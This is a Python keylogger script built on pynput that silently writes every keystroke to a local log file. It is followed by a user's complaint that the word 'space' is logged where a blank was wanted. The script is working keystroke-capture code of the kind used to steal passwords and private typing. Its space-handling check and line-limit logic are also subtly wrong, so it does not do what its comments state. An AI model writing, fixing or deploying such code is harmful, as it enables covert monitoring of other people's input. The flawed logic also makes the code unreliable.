import pynput

# Set the filename to save the logs
filename = 'NAME_1.log'

# Set the maximum number of lines to save
max_lines = 1000

# Set the maximum size of each line
max_line_size = 1024

# Open the log file
with open(filename, 'a') as f:
    # Start the keyboard listener
    def on_press(key):
        try:
            # Get the key's character
            char = key.char
        except AttributeError:
            # If the key doesn't have a character, get its name instead
            char = key.name

        # Replace Key.space with an empty space
        if char == "Key.space":
            char = " "

        # Write the character to the log file
        f.write(char)

        # Check if we've reached the maximum line size
        if f.tell() >= max_line_size:
            # If we have, write a new line character
            f.write('\n')

        # Check if we've reached the maximum number of lines
        if f.tell() / max_line_size >= max_lines:
            # If we have, close the file and exit the program
            f.close()
            exit()

    # Start the keyboard listener
    with pynput.keyboard.Listener(on_press=on_press) as listener:
        listener.join()

# Clean up the log file
f.close()

output: WordspaceWordspace. I do not want the word "space" to be typed when I press the "space" key. Instead I want an empty space. 